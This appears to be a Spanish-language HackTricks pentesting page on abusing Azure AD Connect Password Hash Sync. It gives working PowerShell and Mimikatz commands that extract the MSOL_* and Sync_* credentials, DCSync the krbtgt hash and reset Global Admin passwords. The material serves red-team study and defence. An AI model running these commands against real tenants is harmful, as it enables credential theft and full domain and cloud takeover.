Az - PHS - Password Hash Sync

Support HackTricks

Información Básica

From the docs: La sincronización de hash de contraseña es uno de los métodos de inicio de sesión utilizados para lograr una identidad híbrida. Azure AD Connect sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube.

Es el método más común utilizado por las empresas para sincronizar un AD local con Azure AD.

Todos los usuarios y un hash de los hashes de contraseña se sincronizan desde el local a Azure AD. Sin embargo, las contraseñas en texto claro o los hashes originales no se envían a Azure AD. Además, los grupos de seguridad integrados (como administradores de dominio...) no se sincronizan con Azure AD.

La sincronización de hashes ocurre cada 2 minutos. Sin embargo, por defecto, la expiración de contraseñas y la expiración de cuentas no se sincronizan en Azure AD. Por lo tanto, un usuario cuya contraseña local ha expirado (no cambiada) puede continuar accediendo a recursos de Azure usando la contraseña antigua.

Cuando un usuario local quiere acceder a un recurso de Azure, la autenticación se realiza en Azure AD.

PHS es necesario para características como Protección de Identidad y Servicios de Dominio AAD.

Pivotar

Cuando PHS está configurado, algunas cuentas privilegiadas se crean automáticamente:

  • La cuenta MSOL_<installationID> se crea automáticamente en el AD local. Esta cuenta recibe un rol de Cuentas de Sincronización de Directorio (ver documentación) lo que significa que tiene permisos de replicación (DCSync) en el AD local.

  • Una cuenta Sync_<nombre del servidor ADConnect local>_installationID se crea en Azure AD. Esta cuenta puede restablecer la contraseña de CUALQUIER usuario (sincronizado o solo en la nube) en Azure AD.

Las contraseñas de las dos cuentas privilegiadas anteriores se almacenan en un servidor SQL en el servidor donde Azure AD Connect está instalado. Los administradores pueden extraer las contraseñas de esos usuarios privilegiados en texto claro. La base de datos se encuentra en C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Es posible extraer la configuración de una de las tablas, siendo una de ellas encriptada:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

La configuración encriptada está encriptada con DPAPI y contiene las contraseñas del usuario MSOL_* en el AD local y la contraseña de Sync_* en AzureAD. Por lo tanto, comprometer estas es posible para elevar privilegios en el AD y en AzureAD.

Puedes encontrar una visión general completa de cómo se almacenan y desencriptan estas credenciales en esta charla.

Encontrar el servidor de conexión de Azure AD

Si el servidor donde está instalado Azure AD connect está unido al dominio (recomendado en la documentación), es posible encontrarlo con:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Abusing MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

También puedes usar adconnectdump para obtener estas credenciales.

Abusando de Sync_*

Comprometiendo la cuenta Sync_* es posible restablecer la contraseña de cualquier usuario (incluidos los Administradores Globales)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

También es posible modificar las contraseñas de solo los usuarios de la nube (incluso si eso es inesperado)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

También es posible volcar la contraseña de este usuario.

Otra opción sería asignar permisos privilegiados a un principal de servicio, que el usuario Sync tiene permisos para hacer, y luego acceder a ese principal de servicio como una forma de privesc.

SSO Sin Problemas

Es posible usar SSO Sin Problemas con PHS, que es vulnerable a otros abusos. Revísalo en:

Az - Seamless SSO

Referencias

Support HackTricks

Last updated